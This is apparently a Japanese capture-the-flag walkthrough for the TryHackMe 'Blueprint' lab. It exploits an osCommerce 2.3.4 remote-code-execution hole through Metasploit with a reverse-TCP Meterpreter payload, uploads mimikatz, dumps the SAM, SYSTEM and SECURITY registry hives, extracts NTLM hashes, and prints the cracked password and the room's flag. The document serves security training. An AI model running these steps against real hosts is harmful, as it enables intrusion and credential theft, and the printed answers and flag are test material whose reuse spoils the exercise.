【TryHackMe】Blueprint：Walkthrough

# 概要

TryHackMe「Blueprint」のWalkthroughです。

https://tryhackme.com/r/room/blueprint

# Task1

## **Q1**.*"Lab" user NTLM hash decrypted*

ポートスキャンを実行します。

```
$ nmap -Pn -sC -sV -A -T4 -p- 10.10.205.252 -oN nmap_result
ORT      STATE SERVICE      VERSION
80/tcp    open  http         Microsoft IIS httpd 7.5
|_http-title: 404 - File or directory not found.
|_http-server-header: Microsoft-IIS/7.5
| http-methods: 
|_  Potentially risky methods: TRACE
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
443/tcp   open  ssl/http     Apache httpd 2.4.23 (OpenSSL/1.0.2h PHP/5.6.28)
| http-ls: Volume /
| SIZE  TIME              FILENAME
| -     2019-04-11 22:52  oscommerce-2.3.4/
| -     2019-04-11 22:52  oscommerce-2.3.4/catalog/
| -     2019-04-11 22:52  oscommerce-2.3.4/docs/
|_
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
|_http-title: Bad request!
|_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2h PHP/5.6.28
445/tcp   open  microsoft-ds Windows 7 Home Basic 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
3306/tcp  open  mysql        MariaDB (unauthorized)
8080/tcp  open  http         Apache httpd 2.4.23 (OpenSSL/1.0.2h PHP/5.6.28)
|_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2h PHP/5.6.28
|_http-title: Index of /
| http-ls: Volume /
| SIZE  TIME              FILENAME
| -     2019-04-11 22:52  oscommerce-2.3.4/
| -     2019-04-11 22:52  oscommerce-2.3.4/catalog/
| -     2019-04-11 22:52  oscommerce-2.3.4/docs/
|_
| http-methods: 
|_  Potentially risky methods: TRACE
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49158/tcp open  msrpc        Microsoft Windows RPC
49159/tcp open  msrpc        Microsoft Windows RPC
49160/tcp open  msrpc        Microsoft Windows RPC
Service Info: Hosts: www.example.com, BLUEPRINT, localhost; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   2:1:0: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2024-08-31T12:16:33
|_  start_date: 2024-08-31T11:03:37
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: -20m21s, deviation: 34m36s, median: -22s
|_nbstat: NetBIOS name: BLUEPRINT, NetBIOS user: <unknown>, NetBIOS MAC: 02:be:38:bc:17:63 (unknown)
| smb-os-discovery: 
|   OS: Windows 7 Home Basic 7601 Service Pack 1 (Windows 7 Home Basic 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1
|   Computer name: BLUEPRINT
|   NetBIOS computer name: BLUEPRINT\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2024-08-31T13:16:35+01:00
```

`8080`にアクセスすると`oscommerce-2.3.4`が使用されていると分かりました。

![8080 home.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/b6841dc5-2c11-8400-d1b9-616f55587890.jpeg)

https://www.oscommerce.com/

脆弱性情報を検索するとRCEの脆弱性がヒットしました。
Metasploitにモジュールがあるのでそれを利用します。

https://www.rapid7.com/db/modules/exploit/multi/http/oscommerce_installer_unauth_code_exec/

オプションを設定して`exploit`コマンドでペイロードを実行します。

```
msf6 exploit(multi/http/oscommerce_installer_unauth_code_exec) > show options

Module options (exploit/multi/http/oscommerce_installer_unauth_code_exec):

   Name     Current Setting            Required  Description
   ----     ---------------            --------  -----------
   Proxies                             no        A proxy chain of format type:host:port[,typ
                                                 e:host:port][...]
   RHOSTS   10.10.205.252              yes       The target host(s), see https://docs.metasp
                                                 loit.com/docs/using-metasploit/basics/using
                                                 -metasploit.html
   RPORT    8080                       yes       The target port (TCP)
   SSL      false                      no        Negotiate SSL/TLS for outgoing connections
   URI      /oscommerce-2.3.4/catalog  yes       The path to the install directory
            /install/
   VHOST                               no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.6.55.144      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   osCommerce 2.3.4.1



View the full module info with the info, or info -d command.
msf6 exploit(multi/http/oscommerce_installer_unauth_code_exec) > exploit
```

`SYSTEM`の権限を取得出来ました。

```
meterpreter > getuid
Server username: SYSTEM
```

`mimikatz`をサーバーに設置します。

```
meterpreter > upload /usr/share/windows-resources/mimikatz/Win32/mimikatz.exe C:/
[*] Uploading  : /usr/share/windows-resources/mimikatz/Win32/mimikatz.exe -> C:/\mimikatz.exe
[*] Completed  : /usr/share/windows-resources/mimikatz/Win32/mimikatz.exe -> C:/\mimikatz.exe
```

PHPのMeterpreterではシェルの操作が難しかったので、下記PoCを使用します。

```
osCommerce 2.3.4.1 - Remote Code Execution (2)                         | php/webapps/50128.py
```

シェルを取得できました。

```
$ python 50128.py http://10.10.59.188:8080/oscommerce-2.3.4/catalog
[*] Install directory still available, the host likely vulnerable to the exploit.
[*] Testing injecting system command to test vulnerability
User: nt authority\system

RCE_SHELL$ whoami
nt authority\system
```

`reg.exe`を使用して`SAM`,`SYSTEM`,`SECURITY`レジストリの値を`oscommerce-2.3.4\catalog\install\includes`配下に保存します。

```
RCE_SHELL$ reg.exe save HKLM\SAM SAM
The operation completed successfully.
RCE_SHELL$ reg.exe save HKLM\SYSTEM SYSTEM
The operation completed successfully.
RCE_SHELL$ reg.exe save HKLM\SECURITY SECURITY
The operation completed successfully.
```

![includes.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/90b87fd0-391e-010a-cd16-3518c90bcebe.jpeg)

それぞれKaliにダウンロードします。

```
┌──(kali㉿kali)-[~/Blueprint]
└─$ ls    
44374.py  50128.py  nmap_result  SAM  SECURITY  SYSTEM
```

SAMファイルとSYSTEMファイルを使用して`impacket-secretsdump`でNTLMハッシュ値を抽出します。

```
$ impacket-secretsdump -sam SAM -system SYSTEM LOCAL
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Target system bootKey: 0x147a48de4a9815d2aa479598592b086f
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:549a1bcb88e35dc18c7a0b0168631411:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Lab:1000:aad3b435b51404eeaad3b435b51404ee:30e87bf999828446a1c1209ddde4c450:::
[*] Cleaning up...
```

`30e87bf999828446a1c1209ddde4c450`がNTLMハッシュ値です。
下記サイトでハッシュ値を解析しました。

https://crackstation.net/

パスワードを特定できました。

![hashcrack.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/1c3a6e4a-48a6-14c0-9805-d53c539684e1.jpeg)

**A**.**googleplus**

## **Q2**.*root.txt*

`root.txt`のパスを検索します。

```
meterpreter > search -d C:/Users/Administrator/ -f *root.txt*
Found 1 result...
=================

Path                                          Size (bytes)  Modified (UTC)
----                                          ------------  --------------
C:\Users\Administrator\\Desktop\root.txt.txt  37            2019-11-27 13:15:37 -0500
```

`/Users/Administrator/Desktop/root.txt.txt`からルートフラグを入手できます。

```
meterpreter > cat /Users/Administrator/Desktop/root.txt.txt
THM{aea1e3ce6fe7f89e10cea833ae009bee}
```

**A**.**THM{aea1e3ce6fe7f89e10cea833ae009bee}**